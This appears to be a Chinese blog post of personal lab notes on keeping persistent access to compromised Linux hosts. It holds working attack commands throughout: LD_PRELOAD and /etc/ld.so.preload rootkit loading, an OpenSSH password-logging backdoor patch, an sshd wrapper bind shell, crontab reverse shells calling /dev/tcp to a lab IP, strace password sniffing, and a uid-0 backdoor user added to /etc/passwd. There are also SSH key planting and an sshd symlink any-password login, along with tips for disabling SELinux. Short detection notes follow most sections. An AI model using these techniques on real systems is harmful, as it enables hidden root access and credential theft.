Linux单机权限维持
Linux单机权限维持
进程注入
目前看来所有的进程注入都是指的以附加.so
文件的形式注入。
原理:Linux Infecting Running Processes
译文:linux进程注入
工具推荐:
1.linux-inject
使用ptrace向进程中注入恶意so文件
使用示例:Linux权限维持之进程注入
2.dlinject
不使用ptrace向进程中注入恶意so文件
排查方式
1.基于时间线索筛出so文件
2.遍历进程,获取so观察时间
Linux预加载型恶意动态链接库
预备知识点
1.linux动态链接库预加载机制:
在linux操作系统的动态链接库加载过程中,动态链接器会读取LD_PRELOAD
环境变量的值和默认配置文件/etc/ld.so.preload
的文件内容,并将读取到的动态链接库进行预加载。即使程序不依赖这些动态链接库,LD_PRELOAD
环境变量和/etc/ld.so.preload
配置文件中指定的动态链接库依然会被装载,它们的优先级比LD_LIBRARY_PATH
环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
2.全局符号介入
全局符号介入指的是应用程序调用库函数时,调用的库函数如果在多个动态链接库中都存在(存在同名函数),那么链接器只会保留第一个链接的函数,而忽略后面链接进来的函数。所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。
利用LD_PRELOAD环境变量
LD_PRELOAD环境变量是会及时生效的,加载恶意动态链接库方法如下:
1 | LD_PRELOAD=/lib/evil.so # LD_PRELOAD的值设置为要预加载的动态链接库 |
(导出后应该就会被隐藏,没试也不知道为什么
排查
1 | echo $LD_PRELOAD # 查看是否加载了库以及是否恶意 |
利用ld.so.preload配置文件
将恶意动态链接库路径写入/etc/ld.so.preload
(没有则创建)配置文件中即生效,对应的恶意动态链接库文件被隐藏。
1 | echo "/lib/evil.so" > /etc/ld.so.preload |
排查
因为恶意动态链接库一般都有隐藏/etc/ld.so.preload
文件的功能,使用普通的ls
、cat
等命令无法读取对应配置文件的内容,此时我们可以使用静态编译的ls
命令、cat
命令(推荐使用busybox自带命令)来绕过预加载的恶意动态链接库。
清除顺序:
(a)/etc/ld.so.preload
文件中查看到的/lib/evil.so
文件
(b)/etc/ld.so.preload
文件中的内容
排查案例参考:
记一次CPU占用过半,进程被隐藏的木马
Linux 遭入侵,挖矿进程被隐藏案例分析
修改动态链接器
通过修改动态链接器中配置文件路径/etc/ld.so.preload
为自定义的路径来实现更加隐蔽的恶意动态链接库预加载。
rootkit示例:Vlany
排查
使用文件完整性检查来检查该动态链接器是否被修改。
基于SSH衍生后门
用的似乎不多,因为公网开ssh的不多。
openssh源码包替换后门文件
CentOS
实践参考:
1.OpenSSH万能后门
2.OpenSSH源码下载地址
实践的过程发现编译出错,看了一下代码发现是博主原文写错:
1 | auth-passwd.c:88:57: 错误:‘Authctxt’没有名为‘server_user’的成员 |
改成如下即可:
1 | fprintf(f,"username: %s password: %s", authctxt->user, password); |
Centos SSH日志位置:/var/log/secure
Ubuntu
别问…问就是搞了两小时环境都没搞对….
ssh wrapper正向后门
可以理解为另写了一个带ssh功能的程序代替了/usr/sbin/sshd
受害主机上执行:
1 | [root@localhost ~]# cd /usr/sbin |
后门代码解释:
第一行,如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big网络字节序中的16进制字符串为\x00\x00zf
, 正好匹配上perl正则..zf
,上述代码中的zf
是Big网络字节序的Ascii表示形式),则执行/bin/sh
,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell(因为sshd是以root权限运行的)给远程socket(一般只有攻击者指定连接的源端口才能触发这一行的执行)
第二行,启动sshd(/usr/bin/sshd是真正的sshd)服务,凡是传递给/usr/sbin/sshd
(后门)的参数都传递给真正的sshd(这一行保证了普通用户也可以正常使用ssh服务,登录并不会有什么异常现象)
攻击主机上执行:
1 | socat STDIO TCP4:10.18.180.20:22,sourceport=13377 |
源端口修改计算:
1 | import struct |
还有一个Python版:使用python编写了openssh后门,没有试。
CentOS7实践的坑
把/usr/sbin/sshd
篡改后,正常用户无法ssh连上去。
1 | # mieea @ mieea-mbp in ~ [9:08:38] |
搜索后发现是由于SeLinux检测到sshd文件已更改,因此如果不禁用SeLinux,它将阻止通过ssh连接服务器。
于是我把/etc/selinux/config
的SELinux属性设置为disabled,再reboot
重启,ssh就能正常使用了。
因为遇到这个问题,我在Ubuntu18.04下也试了一次,并没有影响正常用户ssh连接。nice :)
参考
[1].渗透技巧之SSH篇
[2].【转载】一款短小精致的SSH后门分析
[3].Hide OpenSSH version–解决CentOS实践的坑
[4].如何在CentOS 8上禁用SELinux
[5].Linux基础软件威胁疑云:从已知到“未知”
[6].ESET-The_Dark_Side_of_the_ForSSHe.pdf
排查方式
查MD5看是否被篡改。
CentOS:
1 | rpm -Vf /usr/bin/ssh |
Ubuntu:
1 | sudo debsums --changed |
PAM后门
pam后门通常是指pam源码包修改重编译替换。
推荐阅读:Linux Pam后门总结拓展
总体和前面OpenSSH源码植入代码重新打包的感觉很像,而且更加繁琐。校验方式也是和SSH校验一样的,官方校验。
VIM后门
命令:$(nohup vim -E -c "pyfile door.py"> /dev/null 2>&1 &) && sleep 2 && rm -f door.py
试了试感觉异常的不好用,所以也不写了。
排查方式
检测对应vim进程号虚拟目录的map文件是否有python字符。(是否不够靠谱?)
strace记录后门
1 | # vim /etc/bashrc |
使用了一下感觉还行?主要是简单,但log文件有点太大了。
按理说su命令也可以做类似操作,但实际不行:
1 | alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su' |
分析参见: 利用su小偷实现低权限用户窃取root用户口令
扩展
1 | # vim /etc/bashrc |
这里是改的/etc/bashrc
,改动后所有新打开的bash都会生效。/etc
路径下的配置文件将会应用到整个系统,属于系统级的配置,而修改用户目录下的.bashrc
则只是限制在用户应用上,属于用户级设置。
排查
使用alias
命令即可发现,或者去排查/etc/bashrc
等shell配置文件。
基于suid衍生后门
setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.
基础后门示例
1 |
|
编译加权:
1 | gcc backdoor.c -o backdoor |
常规crontab反弹shell
CentOS定时任务参数说明:
1 | [u111@CentOS7 cron.d]$ cat /etc/crontab |
Ubuntu定时任务参数说明:
1 | u111@host1:/var/spool/cron$ cat /etc/crontab |
基本是没什么区别,但ubuntu有一个坑点需要注意,就是/bin/sh
指向dash
从而会导致反弹失败。
参考阅读: 解决ubuntu crontab反弹shell失败的问题
辅助工具: crontab执行时间计算
反弹示例1
实验环境CentOS7
存放反弹文件doorr.sh
:
1 |
|
输入命令crontab -e
进行编辑,加入内容:
1 | */3 * * * * bash /home/u111/doorr.sh |
doorr.sh
设置了u+x
,但普通用户和root用户的crontab -e
依旧影响权限,普通反弹普通用户shell,root的才能反弹root。可能有办法在普通用户的crontab反弹root权限shell,暂时没查。
反弹示例2
实验环境CentOS7
root用户输入命令crontab -e
进行编辑,加入内容:
1 | */1 * * * * bash -i >& /dev/tcp/10.211.55.15/12323 0>&1 |
会在/var/spool/cron
目录下生成root
文件,注意文件权限为600。
1 | [root@CentOS7 cron]# pwd |
如果是普通用户u111输入命令crontab -e
进行创建,则会生成/var/spool/cron/u111
文件。
Ubuntu反弹注意事项
实验环境Ubuntu18.04
解决方式1: 将/bin/sh
指向从dash
改到bash
。
1 | ln -s -f bash /bin/sh |
解决方式2: 避免在cron文件里去使用bash这个shell,另外去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件。
脚本文件/root/doorr.sh
:
1 | #!/bin/bash |
crontab -e
进行编辑,加入内容:
1 | */1 * * * * /root/doorr.sh |
排查
一般通过crontab -l
命令即可检测到定时任务后门。crontab -r
进行删除。
参考
开机启动init.d
functions
将后门代码藏到/etc/rc.d/init.d/functions
中。
排查
不同的linux发行版可能查看开机启动项的文件不大相同。
Debian系linux系统一般是通过查看/etc/init.d
目录有无最近修改和异常的开机启动项。
而Redhat系的linux系统一般是查看/etc/rc.d/init.d
或者/etc/systemd/system
等目录。
环境变量
函数重载
learn from: BROOTKIT代码学习和原理分析
关于BROOTKIT如何实现文件、进程、端口的隐藏和盗取root用户密码:install.sh
安装程序中有一行代码:cp brootkit.sh /etc/profile.d/emacs.sh
,这一行代码的作用在于——以后每次打开一个登录shell的时候都会加载这个脚本(而脚本中的内容是一些和builtin命令重名的自定义function),从而实现Bash函数重载,过滤掉相关输出内容,这样就可以达到自定义隐藏文件、进程、端口+盗取root用户密码的目的。
但是简单的函数重载会被Bash内建的builtin/declare/typeset/type/set/command等命令识别出来,所以,除了给ls/ps/netstat等命令重新实现function之外,还需要做进一步的处理,即将这些builtin命令也进行重载。这样就可以实现自定义隐藏文件、进程、端口+盗取root用户密码的功能。
在Bash中命令的执行遵循下面的顺序:
1 | 1. 自定义alias: alias su="ls -l" |
简单但容易被发现系列
添加root权限后门用户
Way1
用脚本生成密码:
1 | [u111@CentOS7 ~]$ perl -e 'print crypt("233233","\$6\$lfeC2bwp\$") . "\n"' |
在/etc/passwd
中追加用户:
1 | backdoor:$6$lfeC2bwp$CHZDNi3FN4Wx7CfZ4hmsQ2EobrMxnLT4ox9bPgkloSzGOXEaY8ovBOYIxMfuWU.4GTcg7rq65Mq0flISqZHE01:1000:1000::/home/u111:/bin/bash |
原本我想添加root组,但是因为这边限制了root无法远程ssh,所以改到了u111。但是接下来又出现了问题:
1 | [u111@CentOS7 ~]$ sudo cat /etc/passwd |
但我su
能直接切到root权限,然后就正常了,不太明白但暂时就这样把:
1 | # mieea @ mieea-mbp in ~ [15:10:53] |
————20201209update
犯了一个缺乏运维基础知识的错…su和sudo当然不一样
sudo用不了是因为没在/etc/sudoers
文件中配置:
1 | ## Allow root to run any commands anywhere |
Way2
用脚本生成密码:
1 | [u111@CentOS7 ~]$ perl -e 'print crypt("678233","\$6\$lfeC2bwp\$") . "\n"' |
在/etc/passwd
中追加用户:
1 | backdoor2:$6$lfeC2bwp$Edp4I6FXzv17d/V2/f2KbkFQ6b3paA21f722955psSd4t2GbWe4yzy29ftRRuW91Bbog7u42cg4tU52NIMxRm/:0:0::/root:/bin/bash |
一般都会限制root的远程ssh登陆,因此:
1 | vi /etc/ssh/sshd_config |
将PermitRootLogin
的值改成yes。
再重启sshd:
1 | service sshd restart |
登陆成功:
1 | # mieea @ mieea-mbp in ~ [15:33:32] C:255 |
可疑用户排查
ssh公钥添加
在攻击机任意地方执行:
1 | ssh-keygen -b 4096 -t rsa -C "" |
受害机:
1 | vi /root/.ssh/authorized_keys |
攻击者的id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)
然后就能在攻击机登陆上去了:
1 | ssh -i /Users/mieea/.ssh/testkey root@10.211.55.12 |
ssh软连接
经典后门,直接对sshd建立软连接,之后用任意密码登录即可。
原命令:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345;
原理分析完整:Linux软连接ssh后门之我见
摘要一下重点:
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆。
为什么是通过软连接的方式?因为PAM认证是通过软连接的文件名(如/tmp/su
,/home/su
)在/etc/pam.d/
目录下寻找对应的PAM配置文件(如:/etc/pam.d/su
)
任意密码登陆的核心是auth sufficient pam_rootok.so
,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn。
实践的坑点
CentOS7:
1 | ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345 |
软连接建立后,新的端口链接被拒绝。即-p 22
是正常的,-p 12345
拒绝连接。
搜索后发现应该和SELinux和防火墙有关,进行以下操作后就能任意密码登陆:
1 | semanage port -a -t ssh_port_t -p tcp 12345 |
Ubuntu18.04:
1 | ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345 |
命令执行后u111用户可以正常任意密码登陆,但root无法登陆,提示Permission denied, please try again.
。
修改PermitRootLogin为yes后依然不行,搜了半天也搜不到解决方案,暂时放弃。
排查
进程和端口都能发现异常:
1 | netstat -anplt |
参考
[1].linux常见backdoor及排查技术
[2].Linux下的权限维持
[3].警惕利用Linux预加载型恶意动态链接库的后门